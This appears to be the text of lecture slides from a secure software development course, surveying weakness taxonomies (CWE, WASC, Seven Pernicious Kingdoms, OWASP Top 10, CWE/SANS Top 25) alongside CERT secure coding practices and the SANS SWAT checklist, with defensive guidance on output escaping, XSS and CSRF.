Error Handling CWE-252: Unchecked Return Value
File Handling CWE-23: Relative Path Traversal
Information Leaks CWE-534: Information Exposure Through Debug Log Files
Initialization and Shutdown CWE-415: Double Free
Injection CWE-134: Uncontrolled Format String
Malicious Logic CWE-506: Embedded Malicious Code
Number Handling CWE-369: Divide by Zero
Pointer and Reference Handling CWE-476: NULL Pointer Dereference 66
Source:
http://samate.nist.gov/
docs/CAS_2011_
SA_Tool_Method.pdf

WASC Threat Classification v2.0
• Attacks
– Abuse of Functionality, Brute Force, Buffer Overflow, Content Spoofing,
Credential/Session Prediction, Cross-Site Scripting, Cross-Site Request
Forgery, Denial of Service, Fingerprinting, Format String, HTTP
Response Smuggling, HTTP Response Splitting, HTTP Request Smuggling,
HTTP Request Splitting, Integer Overflows, LDAP Injection, Mail
Command Injection, Null Byte Injection, OS Commanding, Path
Traversal, Predictable Resource Location, Remote File Inclusion (RFI),
Routing Detour, Session Fixation, SOAP Array Abuse, SSI Injection,
SQL Injection, URL Redirector Abuse, XPath Injection, XML Attribute
Blowup, XML External Entities, XML Entity Expansion, XML Injection,
XQuery Injection
• Weaknesses
– Application Misconfiguration, Directory Indexing, Improper Filesystem
Permissions, Improper Input Handling, Improper Output Handling,
Information Leakage, Insecure Indexing, Insufficient Anti-automation,
Insufficient Authentication, Insufficient Authorization, Insufficient
Password Recovery, Insufficient Process Validation, Insufficient Session
Expiration, Insufficient Transport Layer Protection, Server
Misconfiguration
67
Source: http://projects.webappsec.org/w/page/13246978/Threat%20Classification

Seven Pernicious Kingdoms
• Input Validation and Representation
• API Abuse
• Security Features
• Time and State
• Error Handling
• Code Quality
• Encapsulation
68
Source: Tsipenyuk, Chess, and McGraw,
“Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors”,
Proceedings SSATTM, 2005

Software SOAR 2016
(Wheeler & Henninger)
69
1. Provide design and code* quality
2. Counter known vulnerabilities (CVEs)
(incl. of obsolete subcomponents)
3. Ensure authentication and access control*
a. Authentication Issues
b. Credentials Management
c. Permissions, Privileges, and Access Control
d. Least Privilege
4. Counter unintentional-“like” weaknesses
5. Counter intentional-“like”/malicious logic*
a. Known malware
b. Not known malware
6. Provide anti-tamper (confidentiality of algorithms for
CPI) and ensure transparency
7. Counter development tool inserted weaknesses
8. Provide secure delivery
9. Provide secure configuration
10. Other (e.g., power)
a. Buffer Handling*
b. Injection* (SQL, command, etc.)
c. Encryption and Randomness*
d. File Handling*
e. Information Leaks*
f. Number Handling*
g. Control flow management*
h. Initialization and Shutdown [of
resources/components]*
i. Design Error
j. System Element Isolation
k. Error Handling* and Fault isolation
l. Pointer and reference handling*
* maps to NSA Center for Assured Software (CAS) structure
Source: State-of-the-Art Resources (SOAR) for Software Vulnerability
Detection, Test, and Evaluation 2016 by David A. Wheeler and Amy E.
Henninger, Institute for Defense Analyses (Paper P-8005), November
2016, https://www.acq.osd.mil/se/initiatives/init_jfac.html

“Top” weaknesses & assurance
cases on implementation
• Assurance cases typically cover requirements,
design, implementation, etc.
– But how can you cover implementation?
– “Never make implementation mistakes” is unworkable
& impossible to demonstrate
• More practical: Choose “top” weaknesses
– Without better info, use OWASP’s top 10 for web
applications and SANS/CWE 25 for anything else
– Show countermeasures for each weakness (including
coding guidance, detection schemes, etc.)
– Now you have a good argument!
70

Coding standards/Style guides
• Most languages & widely-used frameworks have
at least 1 style guide in wide use
• Most guides focus more on readability & generic
quality – but some include security
• Security-specific guides include:
– SEI CERT coding standards
https://www.securecoding.cert.org/confluence/displa
y/seccode/SEI+CERT+Coding+Standards
– OWASP Secure Coding Practices
https://www.owasp.org/index.php/OWASP_Secure_C
oding_Practices_-_Quick_Reference_Guide
72

Top 10 Secure Coding Practices
(CERT/SEI) (1)
Practice Description
1. Validate input. Validate input from all untrusted data sources. Proper input validation can eliminate the
vast majority of software vulnerabilities. Be suspicious of most external data sources,
including command line arguments, network interfaces, environmental variables, and user
controlled files [Seacord 05].
2. Heed compiler
warnings.
Compile code using the highest warning level available for your compiler and eliminate
warnings by modifying the code [C MSC00-A, C++ MSC00-A]. Use static and dynamic
analysis tools to detect and eliminate additional security flaws.
3. Architect and
design for security
policies.
Create a software architecture and design your software to implement and enforce
security policies. For example, if your system requires different privileges at different
times, consider dividing the system into distinct intercommunicating subsystems, each
with an appropriate privilege set.
4. Keep it simple. Keep the design as simple and small as possible [Saltzer 74, Saltzer 75]. Complex designs
increase the likelihood that errors will be made in their implementation, configuration,
and use. Additionally, the effort required to achieve an appropriate level of assurance
increases dramatically as security mechanisms become more complex.
5. Default deny. Base access decisions on permission rather than exclusion. This means that, by default,
access is denied and the protection scheme identifies conditions under which access is
permitted [Saltzer 74, Saltzer 75].
73

Top 10 Secure Coding Practices
(CERT/SEI) (2)
74
Practice Description
6. Adhere to the
principle of least
privilege.
Every process should execute with the the least set of privileges necessary to complete the job. Any
elevated permission should be held for a minimum time. This approach reduces the opportunities an
attacker has to execute arbitrary code with elevated privileges [Saltzer 74, Saltzer 75].
7. Sanitize data
sent to other
systems.
Sanitize all data passed to complex subsystems [C STR02-A] such as command shells, relational databases,
and commercial off-the-shelf (COTS) components. Attackers may be able to invoke unused functionality in
these components through the use of SQL, command, or other injection attacks. This is not necessarily an
input validation problem because the complex subsystem being invoked does not understand the context in
which the call is made. Because the calling process understands the context, it is responsible for sanitizing
the data before invoking the subsystem.
8. Practice defense
in depth.
Manage risk with multiple defensive strategies, so that if one layer of defense turns out to be inadequate,
another layer of defense can prevent a security flaw from becoming an exploitable vulnerability and/or limit
the consequences of a successful exploit. For example, combining secure programming techniques with
secure runtime environments should reduce the likelihood that vulnerabilities remaining in the code at
deployment time can be exploited in the operational environment [Seacord 05].
9. Use effective
quality assurance
techniques.
Good quality assurance techniques can be effective in identifying and eliminating vulnerabilities. Fuzz
testing, penetration testing, and source code audits should all be incorporated as part of an effective quality
assurance program. Independent security reviews can lead to more secure systems. External reviewers
bring an independent perspective; for example, in identifying and correcting invalid assumptions [Seacord
05].
10. Adopt a secure
coding standard.
Develop and/or apply a secure coding standard for your target development language and platform

DISA AppSec Dev STIG
• DISA “Application Security and Development
STIG”
– Used by Department of Defense (DOD)
• Contract language, e.g.:
– “(APP3540.1: CAT I) The Designer will ensure the
application is not vulnerable to SQL injection.”
• http://iase.disa.mil/stigs/a-z.html
75

SANS Securing Web Application
Technologies (SWAT) Checklist (1)
• Error handling & logging
– Display generic error messages
– No unhandled exceptions
– Suppress framework generated
errors
– Log all authentication activities
– Log all privilege changes
– Log administrative activities
– Log access to sensitive data
– Do not log inappropriate data
– Store logs securely
• Data protection
– Use SSL everywhere
– Disable HTTP access for all SSL
enabled resources
– Use the strict- Transport-security
header
– Store user passwords using a strong,
iterative, salted hash
– Securely exchange encryption keys
– Disable weak SSL ciphers on servers
– Use valid SSL certificates from a
reputable CA
– Disable data caching using cache
control headers and autocomplete
– Limit the use and storage of sensitive
data
76
Source: https://software-security.sans.org/resources/swat

• Configuration and operations
– Establish a rigorous change
management process
– Define security requirements
– Conduct a design review
– Perform code reviews
– Perform security testing
– Harden the infrastructure
– Define an incident handling plan
– Educate the team on security
• Authentication
– Don't hardcode credentials
– Develop a strong password reset
system
– Implement a strong password policy
– Implement account lockout against
brute force attacks
– Don't disclose too much information
in error messages
– Store database credentials securely
– Applications and Middleware should
run with minimal privileges
77

• Session management
– Ensure that session identifiers are
sufficiently random
– Regenerate session tokens
– Implement an idle session timeout
– Implement an absolute session
timeout
– Destroy sessions at any sign of
tampering
– Invalidate the session after logout
– Place a logout button on every page
– Use secure cookie attributes (i.e.
httponly and secure flags)
– Set the cookie domain and path
correctly
– Set the cookie expiration time
• Input & output handling
– Conduct contextual output encoding
– Prefer “whitelists over blacklists”
– use parameterized SQL queries
– Use tokens to prevent forged
requests
– Set the encoding for your application
– Validate uploaded files
– Use the nosniff header for uploaded
content
– Validate the source of input
– use the X-frame- options header
– use content security Policy (csP) or X-
Xss- Protection headers
78

• Access control
– Apply access controls
checks consistently
– Apply the principle of
least privilege
– Don’t use direct object
references for access
control checks
– Don’t use unvalidated
forwards or redirects
79

Conclusions
• Be careful sending output back
– Escape metacharacters so they’re not misinterpreted by receiver
• Web applications
– Beware of session fixation, XSS, XSRF
– XSS fools clients; XSRF fools servers
– XSS: Escape output! Prefer systems that automatically do it
– XSRF: Secret token (always works), “SameSite” cookie
– Use hardening headers (such as CSP) in addition
• Developing secure software is not just knowing & countering common
weaknesses
– Good design! Prevent, detect, and recover!
• Weakness lists can help remind/focus on biggest problems, taxonomies
help describe
– Once you know common past mistakes, you can avoid them
– Can help justify implementation issues in an assurance case
80

HTTP Idempotent Methods
(per HTTP specification)
• “Idempotence” = aside from error or expiration issues,
side-effects of > 1 identical requests same as 1 request
• Methods GET, HEAD, PUT and DELETE idempotent
– Not POST!
• Methods OPTIONS and TRACE also idempotent
– Because they SHOULD NOT have side effects at all
• Beware: a sequence of several requests can be non-
idempotent, even if all of its methods are idempotent
– E.G., a sequence is non-idempotent if its result depends on
a value that is later modified in the same sequence
82

OWASP Top 10 (2010)
83
A1: Injection Call out (SQL injection, shell injection)
A2: Cross-Site Scripting (XSS) Design/Web application
Management
Authentication
A4: Insecure Direct Object References Design (least privilege)
A5: Cross-Site Request Forgery (CSRF) Design/Web application
A7: Insecure Cryptographic Storage Cryptography
A8: Failure to Restrict URL Access Design (least privilege)/web application
A9: Insufficient Transport Layer Protection Cryptography
A10: Unvalidated Redirects and Forwards Design/Web application

OWASP Top 10 (2013)
84
A1: Injection Call out (SQL injection, shell injection)
Management
Authentication
A3: Cross-Site Scripting (XSS) Design, Web application
A4: Insecure Direct Object References Design (least privilege), Web application
A6: Sensitive Data Exposure Design (least privilege), Cryptography
A7: Missing Function Level Access Control Design (least privilege)
A8: Cross-Site Request Forgery (CSRF) Design, Web application
A9: Using Components with Known
Vulnerabilities
Obsolete code (8), Call out, Design
A10: Unvalidated Redirects and Forwards Design, Web application

CWE/SANS Top 25 Most
Dangerous Software Errors (2011)
85
Rank ID Name
[1] CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
[2] CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command
Injection')
[3] CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
[4] CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
[5] CWE-306 Missing Authentication for Critical Function
[6] CWE-862 Missing Authorization
[7] CWE-798 Use of Hard-coded Credentials
[8] CWE-311 Missing Encryption of Sensitive Data
[9] CWE-434 Unrestricted Upload of File with Dangerous Type
[10] CWE-807 Reliance on Untrusted Inputs in a Security Decision

2011 CWE/SANS Top 25 Most
86
Rank ID Name
[11] CWE-250 Execution with Unnecessary Privileges
[12] CWE-352 Cross-Site Request Forgery (CSRF)
[13] CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
[14] CWE-494 Download of Code Without Integrity Check
[15] CWE-863 Incorrect Authorization
[16] CWE-829 Inclusion of Functionality from Untrusted Control Sphere
[17] CWE-732 Incorrect Permission Assignment for Critical Resource
[18] CWE-676 Use of Potentially Dangerous Function
[19] CWE-327 Use of a Broken or Risky Cryptographic Algorithm
[20] CWE-131 Incorrect Calculation of Buffer Size

2011 CWE/SANS Top 25 Most
87
Rank ID Name
[21] CWE-307 Improper Restriction of Excessive Authentication Attempts
[22] CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
[23] CWE-134 Uncontrolled Format String
[24] CWE-190 Integer Overflow or Wraparound
[25] CWE-759 Use of a One-Way Hash without a Salt

Released under CC BY-SA 3.0
• This presentation is released under the Creative Commons Attribution-
ShareAlike 3.0 Unported (CC BY-SA 3.0) license
• You are free:
– to Share — to copy, distribute and transmit the work
– to Remix — to adapt the work
– to make commercial use of the work
• Under the following conditions:
– Attribution — You must attribute the work in the manner specified by the
author or licensor (but not in any way that suggests that they endorse you or
your use of the work)
– Share Alike — If you alter, transform, or build upon this work, you may
distribute the resulting work only under the same or similar license to this one
• These conditions can be waived by permission from the copyright holder
– dwheeler at dwheeler dot com
• Details at: http://creativecommons.org/licenses/by-sa/3.0/
• Attribute me as “David A. Wheeler”
88

Secure-Software-6-Output.ppt

Recommended

Recommended

More Related Content

Similar to Secure-Software-6-Output.ppt

Similar to Secure-Software-6-Output.ppt (20)

Recently uploaded

Recently uploaded (20)

Secure-Software-6-Output.ppt

Editor's Notes